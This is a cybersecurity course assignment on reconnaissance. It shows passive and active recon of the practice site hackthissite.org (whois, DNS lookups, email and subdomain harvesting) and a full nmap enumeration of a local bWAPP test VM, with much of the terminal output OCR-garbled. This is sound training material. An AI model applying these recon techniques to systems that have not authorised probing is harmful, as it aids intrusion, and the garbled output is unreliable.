

Cybersecurity Masters Program C5



15-05-2022

Task 1: Information Gathering

Reconnaissance

Also, called as Information gathering. It is the first phase of penetration testing where the attacker extracts information related to the target. It is of two types: -

1. Passive Reconnaissance.

In this type of recon, the attacker gathers information without interacting with the target directly. Information gathering is done by third part sources.

e.g.: Shodan

2. Active Reconnaissance.

In this type of recon, the attacker gathers information by directly interacting with the target. e.g.: Nmap scan

Target: www.hackthissite.org

1. Passive Reconnaissance

I used below tools to do passive recon.

Nslookup Whois Dig Shodan Builtwith TheHarvester Sublist3r Foca

<u>Nslookup</u>

is a tool that helps in retrieving domain names linked to an IP Address and vice-versa.

	4 model (b 1 O A bend
	(root w kall)-[~]
	- Instookup nacktnissite.org
	Server: 192.168.75.2
	Address: 192.168./5.2#53
	New enthemiteting encourse
	Non-authoritative answer:
	Name: hackthissite.org
	Address: 137.74.187.101
	Name: hackthissite.org
	Address: 137.74.187.103
	Name: hackthissite.org
	Address: 137.74.187.102
	Name: hackthissite.org
	Address: 137.74.187.100
	Name: hackthissite.org
	Address: 137.74.187.104
	Name: hackthissite.org
	Address: 2001:41d0:8:ccd8:137:74:187:102
	Name: hackthissite.org
1	Address: 2001:41d0:8:ccd8:137:74:187:101
	Name: hackthissite.org
	Address: 2001:41d0:8:ccd8:137:74:187:100
	Name: hackthissite.org
	Address: 2001:41d0:8:ccd8:137:74:187:103
	Name: hackthissite.org
	Address: 2001:41d0:8:ccd8:137:74:187:104

<u>Whois</u>

helps in retrieving information for registered domains.

🔁 (root 💀 kali) - [~] Lools 🕐 Kali Docs 🔊 Ka	
🖵 whois hackthissite.org	
Domain Name: HACKTHISSITE.ORG	
Registry Domain ID: D99641092-LROR	
Registrar WHOIS Server: whois.enom.com	
Registrar URL: http://www.enom.com	
Updated Date: 2021-07-12T07:56:04Z	
Creation Date: 2003-08-10T15:01:25Z	
Registry Expiry Date: 2022-08-10T15:01:25	δZ
Registrar Registration Expiration Date:	
Registrar: eNom, Inc.	
Registrar IANA ID: 48	
Registrar Abuse Contact Email: abuse∂enom	n.com
Registrar Abuse Contact Phone: +1.4252982	2646
Reseller:	
Domain Status: clientTransferProhibited	https://icann.org/epp#clientTransferProhibited
Registrant Organization: Data Protected	
Registrant State/Province: WA	
Registrant Country: US	
Name Server: C.NS.BUDDYNS.COM	
Name Server: F.NS.BUDDYNS.COM	
Name Server: G.NS.BUDDYNS.COM	
Name Server: I.NS. BUDDYNS.COM	
DNSSEC: upsigned	
UPL of the TCANN Whois Traccuracy Complet	int Form https://www.icapp.org/wicf/)
NE of the ICANN WHOIS Inacturacy comptains	15_15T16+28+047 444
whors used update of whors used ase. 2022-0	are a living, breathing community devot

Dig

stands for Domain Information Groper. It helps in retrieving DNS information.

```
dig hackthissite.org
; <<>> DiG 9.18.1-1-Debian <<>> hackthissite.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56634
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 512
;; QUESTION SECTION:
;hackthissite.org.
                                   IN
                                            А
;; ANSWER SECTION:
hackthissite.org.
                          5
                                   ΤN
                                                     137.74.187.101
                                            А
hackthissite.org.
                          5
                                   IN
                                            А
                                                     137.74.187.103
                                                     137.74.187.102
hackthissite.org.
                          5
                                   IN
                                            А
hackthissite.org.
                          5
                                   IN
                                            А
                                                     137.74.187.100
hackthissite.org.
                          5
                                   IN
                                            А
                                                     137.74.187.104
;; Query time: 16 msec
;; SERVER: 192.168.75.2#53(192.168.75.2) (UDP)
;; WHEN: Sun May 15 12:28:18 EDT 2022
;; MSG SIZE rcvd: 125
```

<u>Shodan</u>

Is a tool with publicly available database containing information for registered domains – DNS information, SSL information, ISP, Location information, etc.



<u>Builtwith</u>



<u>Theharvester</u>

Is a tool that tries to collect any publicly available information for the target including email accounts.

			root@kali: ~	
_* \ _ _ \ \/ /_/ _ *	_ _/ \	/\\ _ *		
* theHarvester 4.0.3 * Coded by Christian Martorella				
<pre>* cuge-security Research * cmartorella@edge-security.com *</pre>		O A https://builtwith		
*****	****	**************************************		
[*] Target: hackthissite.org				
Searching 0 results. Searching 100 results. Searching 200 results. Searching 300 results. Searching 400 results. Google is blocking your ip and Searching 500 results.	the workaround, re	e Technology Pedia eturning		
<pre>[*] Searching Google.</pre>				
[*] No IPs found.				
[*] Emails found: 6				
20181204011932.ab790c1315@www.h sam@hackthissite.org staff@hackthissite.org u003c20181204011932.ab790c1315@ x22sam@hackthissite.org x22staff@hackthissite.org	ackthissite.org www.hackthissite.c	racking prg ge Statistics - Download L		
[*] Hosts found: 11				
ctf.hackthissite.org:185.199.10 forums.hackthissite.org:137.74.	8.153, 185.199.109 187.100, 137.74.18	9.153, 185.199.110.153, 37.103, 137.74.187.102,	185.199.111.153 137.74.187.101, 137.74.187.104	
irc.hackthissite.org:185.24.222 ns2.hackthissite.org:198.148.81	.13, 137.74.187.15 .189	50		
www.hackthissite.org www.hackthissite.org:137.74.187 x22ns2.hackthissite.org x22www.hackthissite.org x2orums.hackthissite.org	.100, 137.74.187.1	104, 137.74.187.103, 137	7.74.187.102, 137.74.187.101	
(mot Okali) []				

<u>Sublist3r</u>

Is a tool to collect sub-domain information.

<pre># Coded By Ahmed Aboul-Ela⁰ @aboul3la ¹ HackThisSite # Coded By Ahmed Aboul-Ela⁰ @aboul3la ¹ HackThisSite [-] Enumerating subdomains now for hackthissite.org O A https://builtwith.com/h [-] Searching now in Baidu [-] Searching now in Yahoo411000 is KallTools is KallForms is Kall [-] Searching now in Google [-] Searching now in Google [-] Searching now in Bing [-] Searching now in Ask [-] Searching now in Netcraft [-] Searching now in Netcraft [-] Searching now in Ntrustotal [-] Searching now in ThreatCrowd [-] Searching now in SL Certificates [-] Searching now in SL Certificates [-] Searching now in PassiveDNS [] Error: Google probably now is blocking our requests [-] Total Unique Subdomains Found: 22 [] Searching our requests [-] Total Unique Subdomains Found: 22 [] Searching our requests</pre>	
 # Coded By Ahmed Aboul-Ela - @aboul31a Enumerating subdomains now for hackthissite.org O A https://builtwith.com/h Searching now in Baidu Searching now in Yahooditions as folloos as folloos. Searching now in Bing Searching now in Ask Searching now in Netcraft Searching now in Virustotal Searching now in ThreatCrowd Searching now in PassiveDNS Error: Google probably now is blocking our requests Finished now the Google Enumeration Error: Virustotal probably now is blocking our requests Total Unique Subdomains Found: 22 	
 [-] Enumerating subdomains now for hackthissite.org O	
 [-] Searching now in Yahoodl Linox & Kall Pools & Fools & Foo	
<pre>[-] Searching now in Google [-] Searching now in Bing [-] Searching now in Ask [-] Searching now in Ask [-] Searching now in Netcraft [-] Searching now in DNSdumpster [-] Searching now in Virustotal</pre>	
<pre>[-] Searching now in Bing [-] Searching now in Ask [-] Searching now in Netcraft [-] Searching now in DNSdumpster [-] Searching now in Virustotaler / Endemister February Profile [-] Searching now in ThreatCrowd [-] Searching now in SSL Certificates [-] Searching now in PassiveDNS [] Error: Google probably now is blocking our requests [-] Finished now the Google Enumeration [] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22^m Profile Contact Technology Profile</pre>	
<pre>[-] Searching now in Ask [-] Searching now in Netcraft [-] Searching now in DNSdumpster [-] Searching now in Virustotal</pre>	
 [-] Searching now in Netcraft [-] Searching now in DNSdumpster [-] Searching now in Virustotale. / hockthistere of Technology Profile [-] Searching now in ThreatCrowd [-] Searching now in SSL Certificates [-] Searching now in PassiveDNS [!] Error: Google probably now is blocking our requests [~] Finished now the Google Enumeration [!] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22nd out Profile Content Detailed Technology Profile 	
 [-] Searching now in DNSdumpster [-] Searching now in Virustotalne / hockthisotecomy Technology Profile [-] Searching now in ThreatCrowd [-] Searching now in SSL Certificates [-] Searching now in PassiveDNS [!] Error: Google probably now is blocking our requests [~] Finished now the Google Enumeration [!] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22¹⁰ Level Profile 	
 [-] Searching now in Virustotalme./ hockshipsteered Technology Profile [-] Searching now in ThreatCrowd [-] Searching now in SSL Certificates [-] Searching now in PassiveDNS [!] Error: Google probably now is blocking our requests [~] Finished now the Google Enumeration [!] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22nd Edy Profile - Detailed Technology Profile 	
 [-] Searching now in ThreatCrowd [-] Searching now in SSL Certificates [-] Searching now in PassiveDNS [!] Error: Google probably now is blocking our requests [~] Finished now the Google Enumeration [!] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22nd Environment Detailed Technology Profile 	
 [-] Searching now in SSL Certificates [-] Searching now in PassiveDNS [!] Error: Google probably now is blocking our requests [~] Finished now the Google Enumeration [!] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22nd Edy Profile Detailed Technology Profile 	
<pre>[-] Searching now in PassiveDNS [!] Error: Google probably now is blocking our requests [~] Finished now the Google Enumeration [!] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22nd egy Profile Detailed Technology Profile</pre>	
<pre>[1] Error: Google probably now is blocking our requests [~] Finished now the Google Enumeration [!] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22¹⁰ cgy Profile Detailed Technology Profile</pre>	
<pre>[*] Finished how the obogic Enumeration [!] Error: Virustotal probably now is blocking our requests [-] Total Unique Subdomains Found: 22th ogy ProfileDetailed Technology Profile</pre>	
[-] Total Unique Subdomains Found: 2216 pgy Profile Detailed Technology Profile	
www.hackthissite.org	
api.hackthissite.org	
daemon.hackthissite.org	
vm-005.outbound.firewall.hackthissite.org	
vm-050.outbound.firewall.hackthissite.org	
vm-099.outbound.firewall.hackthissite.org as and Tracking	
vm-150.outbound.firewall.hackthissite.org	
vm-200.outbound.firewall.hackthissite.org	
forums.nacktnissite.org	
inc. hackthissite.org Report URI Usage Statistics - Download List of A	
Enable your users browsers to automatically report security i	
lille.irc.hackthissite.org	
wolf.irc.hackthissite.org	
jupiter.hackthissite.org	
legal.hackthissite.org	
mail.hackthissite.org	
mirror.hackthissite.org	
pl.nacktnissite.org	
stats backthissite org	
status.hackthissite.org	
-(root @kali)-[~]	

Foca

Is an open-source tool that collects publicly available documents on the target website.



🛑 CS5 - FOC	A Open Source 3.4	.7.1							-	- 0	\times
Project	🛸 Plugins	🔹 Options	s 📋 TaskList	🚹 Ab	out 📜						
♥ CS5 ■ Ne ■ Do ■ Do	twork mains cument Analysis		6			Search engines	Extension doc ppt pps xls	ons All doc ppt pps xlsx	None x Sxw Odp odd Opdf x Odds Wydd x Odg Vtf		
			Custom	search						C Sea	arch All
			Id	Туре	URL		Do	wnload	Download Date	Size	Me ^
			70	pdf	https://mirror.hackthissite.	.org/hackthiszine/hackthisz	tine ×				×
			1	pdf	https://mirror.hackthissite.	.org/hackthiszine/hackthisz	ine ×		-	-	×
			2	pdf	https://mirror.hackthissite.	.org/hackthiszine/hackthisz	tine 🗙		-	-	×
			2 3	pdf	https://mirror.hackthissite.	.org/hackthiszine/hackthisz	ine 🗙		-	-	×
			1	pdf	https://mirror.hackthissite.	.org/hackthiszine/hackthisz	zine 🗙		-		×
			2 5	pdf	https://mirror.hackthissite.	.org/hackthiszine/hackthisz	ine X		-	-	×
			1 6	pdf	https://mirror.hackthissite.	.org/hackthiszine/hackthisz	tine X		•	-	×
			<	pdf	https://mirror.hackthissite.	.org/hackthiszine/hackthisz	ine X			-	× *
-		0									
Time	Source	Seventy	Message								
a Como		Auto Court	C. Char					Activ	/ate Window	S Course las	the Dis
Settings	■ Deactivate	MULUSCIOII	+ J Clear					Go to	Settings to activa	te Windov	VS.
All searchers h	ave finished					0					
م 🗄	Type here to	search			i 💽 🖡	🔋 💼 💼 I	•) E	j 🚾 🖫 🕬 🔧	12:25 AM 5/16/2022	

2. Active Reconnaissance

I used below tools to do active recon.

<u>Nikto</u>

Is an open-source tool that scans vulnerabilities and dangerous files/CGIs, outdated server software and other problems.



<u>Nmap</u>

Stands for Network MAPper. It is an open-source tool that is used to scan IP address and ports in a network and to detect installed applications. It helps to collection information – which devices are available on the network and open ports with banner information.

WAFwoof

Is a tool that retrieves information about web-application firewall.



<u>Netdiscover</u>

is a tool that scans other machines available on the network.

Netdiscover - Lethu					
		rooteria			
Currently scann	ing: 192.168.122.0/	16 Sc	reen Vi	iew: Unique Hosts	
4 Captured ARP	Req/Rep packets, fr	om 4 hosts.	Tota	al size: 240	
IP	At MAC Address	Count	Len MA	AC Vendor / Hostname	
192.168.75.1	00:50:56:c0:00:09	1	60 VN	Ware, Inc.	
192.168.75.2	00:50:56:13:81:db	1	60 VN	ware, Inc.	
192.168.75.134	00:0c:29:83:05:93	1	60 VN	Ware, Inc.	
192.168.75.254	00:50:56:f3:1f:12	1	60 VN	Ware, Inc.	

Beebox enumeration

I used nmap to perform enumeration on beebox VM and was succesfully able to collect information about open ports, services running and banner information.

root@kali:~ root@kali: ~ (roor ⊘lali)-[~] If nmap -A -T4 -p- 192.168.75.134 Starting Nmap 7.92 (https://nmap.org) at 2022-05-15 15:30 EDT Nmap scan report for 192.168.75.134 Host is up (0.00067s latency). Not shown: 65516 closed tcp ports (reset) PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION PORT (STATE SERVICE VERSION) FOR COME 230) 130 ftp-anon: Anonymous FTP login allowed (FTP code 230) -rw-rw-r-- 1 root www-data 543803 Nov 2 2014 Iron_Man.pdf -rw-rw-r-- 1 root www-data 462949 Nov 2 2014 Terminator_Salvation.pdf
 Hospital State
 2014
 Terminator_satvalidit.pdf

 544600
 Nov
 2 2014
 The_maxing_Spider-Man.pdf

 526187
 Nov
 2 2014
 The_Cabin_in_the_Woods.pdf

 526187
 Nov
 2 2014
 The_Dark_Knight_Rises.pdf

 618117
 Nov
 2 2014
 The_Dark_Knight_Rises.pdf

 618117
 Nov
 2 2014
 The_Dark_Knight_Rises.pdf

 5010042
 Nov
 2 2014
 UMA_PP_intro.pdf
 1 root 1 root -rw-rw-r-www-data -rw-rw-r-www-data 1 root 1 root 1 root -rw-rw-r-www-data www-data -rw-rw-r--5010042 Nov -rw-rw-r-www-data 22/tcp open ssh | ssh-hostkey: OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 1024 45:a4:66:ec:3a:ba:97:f8:3e:1a:ba:1c:24:68:22:e8 (DSA) 2048 63:e7:c5:d1:8d:8a:94:02:36:6a:d7:d2:75:e9:8b:ce (RSA) 25/tcp open smtp Postfix smtpd |_ssl-date: 2022-05-15T19:33:43+00:00; 0s from scanner time. sslv2: SSLv2 supported ciphers: pners: SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 SSL2_RC2_128_CBC_WITH_MD5 SSL2_RC4_128_EXPORT40_WITH_MD5 SSL2_DES_192_EDE3_CBC_WITH_MD5 SSL2_DE5_64_CBC_WITH_MD5 SSL2_RC4_128_WITH_MD5 SSL2_RC4_128_VITH_MD5 SSL2_RC4_RC4_RC4_RC4_VITH_MD5 SSL2_RC4_RC4_RC4_RC4_VITH_MD5 SSL2_RC4_RC4_RC4_RC4_VITH_MD5 SSL2_RC4_RC4_RC4_RC4_VITH_MD5 SSL2_RC4_RC4_RC4_RC4_VITH_MD5 SSL2_RC4_RC4_RC4_RC4_VITA_RC4_V ssl-cert: Subject: commo untu/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX Not valid before: 2013-03-28T19:14:17 _Not valid after: 2013-04-27T19:14:17 L_smtp-commands: bee-box, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g) http-title: Site doesn't have a title (text/html). http-methods: Potentially risky methods: TRACE [] Potentiarty resky methods: TRACE [.http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES) 443/tcp open ssl/http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)

	1001@Rail		
root@kali:~		root@kali: ~	× •
I_ Potentially risky methods: TRACE [_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4. 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSEC 443/tcp open ssl/http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod sslv2:	6 PHP/5.2.4-2ubuntu5 with Suhosin-Patc GAMES) fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with	h mod_ssl/2.2.8 OpenSSL/0.9.8g Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)	
SSLv2 supported cinhers:			
SSL2_RC2_128_CBC_EXPORT40_WITH_MD5			
SSL2_RC2_128_CBC_WITH_MD5 SSL2_RC4_128_EXPORT40_WITH_MD5			
SSL2_DES_192_EDE3_CBC_WITH_MD5 SSL2_DES_64_CBC_WITH_MD5			
SSL2_RC4_128_WITH_MD5 _ssl-date: 2022-05-15T10:33:23+00:00: 0s from scanner time.			
http-methods:			
Potentially fisky methods: TRACE _http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.	.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patc	h mod_ssl/2.2.8 OpenSSL/0.9.8g	
<pre> _http-title: Site doesn't have a title (text/html). ssl-cert: Subject: commonName=bee-box.bwapp.local/organizationNa Not valid before: 2013-04-14T18:11:32</pre>	ame=MME/stateOrProvinceName=Flanders/co	untryName=BE	
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: ITSECGAM	NES)		
512/tcp open exec netkit-rsh rexecd 513/tcp open login?			
514/tcp open shell? 666/tcp open doom?			
fingerprint-strings:			
<pre># denericines, beast2: #*** bWAPP Movie Service ***</pre>			
_ Matching movies: 0 3306/tcp open mysql MySQL 5.0.96-0ubuntu3			
_ssl-cert: ERROR: Script execution failed (use -d to debug)			
Protocol: 10			
Version: 5.0.96-0ubuntu3 Thread ID: 42			
Capabilities flags: 41516 Some Capabilities: SupportsCompression, Speaks41ProtocolNew, (ConnectWithDatabase. SupportsTransactio	ons, LongColumnFlag, Support41Auth	
Status: Autocommit			
<pre> _ Salt: PQ%dHyKJOSq] Cp.11] _tls-nextprotoneg: ERROR: Script execution failed (use -d to debu</pre>	ıg)		
_ssl-date: ERROR: Script execution failed (use -d to debug) 3632/tcp open distccd distccd v1 ((GNU) 4.2.3 (Ubuntu 4.2.3-/	2ubuntu7))		
5901/tcp open vnc VNC (protocol 3.8)			
	root@kall:~		<u><u> </u></u>
root@kali: ~	×	root@kali: ~	
_tLs-nextprotoneg: ERROR: Script execution failed (use -d to deb _ssl-date: ERROR: Script execution failed (use -d to debug) 3632/tcp open distccd distccd v1 ((GNU) 4.2.3 (Ubuntu 4.2.3- 5901/tcp open vnc VNC (protocol 3.8) vnc-info:	ug) 2ubuntu7))		
Protocol Version: 3.8 Security types:			
_ VNC Authentication (2) 6001/tcp.open_X11 (access denied)			
8080/tcp open http nginx 1.4.0			
_nttp-server-neader: nginx/1.4.0 _http-title: Site doesn't have a title (text/html).			
_http-open-proxy: Proxy might be redirecting requests 8443/tcp open ssl/http nginx 1.4.0			
ssl-cert: Subject: commonName=bee-box.bwapp.local/organizationN Not valid before: 2013-04-14T18:11:32 _Not valid after: 2018-04-13T18:11:32	ame=MME/stateOrProvinceName=Flanders/c	ountryName=BE	
_http-title: Site doesn't have a title (text/html).			
<pre>[_ssl-date: 2022-05-15T19:33:23+00:00; 0s from scanner time. tls-nextprotoneg: http://l1</pre>			
9080/tcp open http lighttpd 1.4.19			
_http-server-header: lighttpd/1.4.19			
9443/tcp open ssl/http lighttpd 1.4.19 _http-server-header: lighttpd/1.4.19			
_ssl-date: 2022-05-15T19:33:23+00:00; 0s from scanner time.			
SSLv2 supported			
ciphers: SSL2_RC2_128_CBC_EXPORT40_WITH_MD5			
SSL2_RC2_128_CBC_WITH_MD5			
SSL2_DES_192_EDE3_CBC_WITH_MD5			
SSL2_DES_64_CBC_WITH_MD5 _ SSL2_RC4_128_WITH_MD5			
ssl-cert: Subject: commonName=bee-box.bwapp.local/organizationN Not valid before: 2013_06_14T18:11:32	ame=MME/stateOrProvinceName=Flanders/c	ountryName=BE	
_Not valid after: 2018-04-13T18:11:32			
Inttp-title: Site doesn't have a title (text/html). 1 service unrecognized despite returning data. If you know the se	rvice/version, please submit the follo	wing fingerprint at https://nmap.org/cgi-bin/su	bmit.cgi?new-service :
SF-Port666-TCP:V=7.92%I=7%D=5/15%Time=628154E4%P=x86 64-pc-linux-	gnu%r(Gen		
SF:ericLines,400,"**\x20bWAPP\x20Movie\x20Service\x20***\n	Matching\		

			root@k	ali: ~		٩	:	
	root@	⊉kali: ~			root@kali: ~			
L http-title: Site dd 1 service unrecognize SF-Port666-TCP:9-7.93 SF:reitLines,400,"% SF:2000/010/01/01/ SF:010/010/01/01/01/ SF:010/010/01/01/01/01/ SF:010/010/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/ SF:010/01/01/01/01/01/01/ SF:010/01/01/01/01/01/01/01/01/01/01/01/01/	oesn't have a title (te: ed despite returning da 2%1-7%D=5/15%Timm=52815- **\220HAPV\220Movie\: \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\	<pre>xt/html). ta. If you know the service/version, pl 464%P=x86_64-pc-linux-gnu%r(Gen x20Service/x201×t/>t/Matching b)010/0100000000000000000 010100000000000</pre>	Lease subm	it the following	fingerprint at https://nmap.org/cgi-bin/submit.cgi	new-se)	rvice	
SF: (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0	00000000000000000000000000000000000000	\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 0\						
	0\0\0\0\0\0\0\0\0\0\0\0\0 Places ^{\$} - Terminal	\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0	May 15	15:35				
SF:\0\0\0\0\0\0\0\0\0\0	0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 Places - Terminal	\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@	May 15 root@k	15:35 Kali: ~		٩		
SF:\0\0\0\0\0\0\0\0\0\0	روتان او)kali: ~	May 15 root@k	15:35 (ali: ~	root@kali:~	۹		
SF:\0\0\0\0\0\0\0\0\0\0 Applications SF:\0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\	(a) (b) (b) (b) (b) (b) (b) (b) (b) (b) (b	0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<0<	May 15 root@f	15:35 Kali: ~	root@kali:~	Q		×
SF:\0\0\0\0\0\0\0\0\0\0 Applications Applications SF:\0\0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0 SF:0\0\0\0\0 SF:0\0\0\0\0 SF:0\0\0\0\0 SF:0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0 SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\	<pre>root@ Places</pre>	<pre>biologicologi</pre>	May 15 root@1 ×	15:35 kali: ~	root@kali:~	٩		
SF:\0\0\0\0\0\0\0\0\0\0 Applications Applications SF:\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0 SF:\0\0\0\0\0\0 SF:\0\0\0\0\0 SF:\0\0\0\0\0 SF:\0\0\0\0 SF:\0\0\0\0 SF:\0\0\0\0 SF:\0\0\0\0 SF:\0\0\0\0 SF:\0\0\0 SC CPE: cpe:/o:linux SC	root(0) Places Terminal root(0) places Terminal places Places places	Disistance (Construction (Construction) Disistance (Construction) Disista	May 15 root@1 ×	15:35 Kali: ~	root@kali:~	Q		
